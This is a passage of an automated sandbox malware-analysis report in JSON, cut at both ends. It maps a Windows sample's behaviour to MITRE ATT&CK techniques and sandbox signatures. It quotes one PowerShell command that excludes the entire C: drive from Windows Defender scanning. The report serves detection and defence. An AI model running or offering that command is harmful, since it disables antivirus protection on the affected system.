Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to retrieve running process details (.NET)"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Calls an API used to retrieve process information"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Contains ability to retrieve process ID (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Found registry location strings in memory"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"suspicious","value":"Requested access to a system service"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Scanning for window names"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attack_id":"T1120","attack_id_wiki":"https://attack.mitre.org/techniques/T1120","identifiers":[{"type":"malicious","value":"Queries firmware table information (may be used to fingerprint/evade)"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"},{"type":"informative","value":"Calls an API typically used to create a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Writes log files"},{"type":"informative","value":"Creates directory on disk"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"suspicious","value":"Spawned process connects to a network"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"suspicious","value":"Drops script files inside temp directory"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"malicious","value":"Uses network protocols on unusual ports"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Attempts to call internet-related API for network communication"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Calls an API used to open a process handle"},{"type":"suspicious","value":"Opens a handle to the specified local process"},{"type":"suspicious","value":"Calls an API typically used to stop a service"},{"type":"suspicious","value":"Stops a system service using net.exe"},{"type":"informative","value":"Able to retrieve/open a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"file/memory contains long string(Source: \"00000000-00001548.00000001.241886.8F878000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify Windows Defender exclusions (Powershell command string)","description":"Found reference string \"-Command \"Add-MpPreference -ExclusionPath '\" (Indicator: \"add-mppreference\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\"), Found reference string \"\"powershell\" -Command \"Add-MpPreference -ExclusionPath 'C:\\'\"\" (Indicator: \"add-mppreference\"; Source: \"00000000-00001548-00000C47-42517624689\"), Found reference string \"Add-MpPreference -ExclusionPath 'C:\\'\" (Indicator: \"add-mppreference\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-980","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify process memory (API string)","description":"Found reference to API \"VirtualAllocExNuma\" (Indicator: \"VirtualAllocEx\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")","origin":"File/Memory","mitre_attack_id":"T1055.003","id":"string-439","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00004556)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00004556)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00004556)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00004556)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '2802371461121', 'hResInfo': '2802371469536'}\" (UID: 00000000-00004556)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2802371461121', 'hResInfo': '2802371469568'}\" (UID: 00000000-00004556)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2802371461121', 'hResInfo': '2802371469584'}\" (UID: 00000000-00004556)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2802371461121', 'hResInfo': '2802371469552'}\" (UID: 00000000-00004556)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify data representation (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Export-ModuleMember\"; File: \"AMSI\")\n Found string \"elWrapper.EndProcessing() } } catch { throw } } # .EXTERNALHELP MSFT_MpWDOScan.cdxml-Help.xml}Microsoft.PowerShell.Core\\Export-ModuleMember -Function 'Start-MpWDOScan' -Alias '*'\" (Indicator: \"Export-ModuleMember\"; File: \"AMSI\")\n Found string \"on_objectModelWrapper.EndProcessing() } } catch { throw } } # .EXTERNALHELP MSFT_MpRollback.cdxml-Help.xml}Microsoft.PowerShell.Core\\Export-ModuleMember -Function 'Start-MpRollback' -Alias '*'\" (Indicator: \"Export-ModuleMember\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"HashAlgorithm\" (Indicator: \"HashAlgorithm\"; Source: \"00000000-00003544-00000BC0-2776953780\")\n Found reference to \"CryptographicException\" (Indicator: \"CryptographicException\"; Source: \"00000000-00001548.00000001.241886.8F878000.00000002.mdmp\")\n Found reference to \"AssemblyNative_GetHashAlgorithm\" (Indicator: \"HashAlgorithm\"; Source: \"00000000-00001548.00000001.241886.8F878000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \"amsi.dll\" (Indicator: \"amsi.dll\") in Source: 4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\n Observed string: \"amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00001548.00000001.241886.8F878000.00000002.mdmp\n Observed string: \"AmsiScanBuffer\" (Indicator: \"amsiscanbuffer\") in Source: 00000000-00001548.00000001.241886.8F878000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"$2c","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2e","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"OutputDebugStringW\" (Indicator: \"OutputDebugString\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"OutputDebugStringA\" (Indicator: \"OutputDebugString\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptEncrypt\" (Indicator: \"CryptEncrypt\"; Source: \"00000000-00001200.00000000.240807.413A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"$2f","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"Found reference to API \"FromBase64String\" (Indicator: \"FromBase64String\"; Source: \"00000000-00001548.00000000.239967.82C90000.00000002.mdmp, 00000000-00001548.00000002.243806.82B00000.00000002.mdmp, 00000000-00001548.00000002.243806.82D30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to decode base64 data\n Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Calls an API typically used to import cryptographic keys into a CSP\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: Calls an API typically used to decrypt data\n Matched sigs: YARA signature match - AES encryption\n Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)\n Matched sigs: YARA signature match – cryptographic algorithms\n Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP\n Matched sigs: Calls an API typically used to decrypt a block of data","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"details too long to display","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"$30","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001548-00000C2C-2745951718\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004556-00000C2C-2767678766\")\n Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"get_UserName\" (Source: \"00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82C20000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001548-00000C2C-2745951718\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004556-00000C2C-2767678766\")\n Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00004556-00000C2C-2764996826\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00004556-00000C2C-2764997434\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00004556-00000C2C-2769279245\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00004556-00000C2C-2769279288\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetUserDefaultLocaleName\" (Indicator: \"GetUserDefaultLocaleName\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"GetSystemDefaultLCID\" (Indicator: \"GetSystemDefaultLCID\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatus\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatusEx\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetEnvironmentStringsW\" in file \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\"\n Found system information discovery API: \"GetSystemInfo\" in file \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\"\n Found system information discovery API: \"GetSystemInfo\" in \"00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82B90000.00000002.mdmp\"\n Found system information discovery API: \"NtQuerySystemInformation\" in \"00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00004556-00000C2C-2767424901\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00004556-00000C2C-2767424948\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00001548)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00001548)\n \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00001548)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00001548)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" called \"IsWow64Process\" with parameter \"1548\" - (UID: 00000000-00001548)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00004556)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00001548)\n \"net1.exe\" called \"RtlGetNtProductType\" with parameter 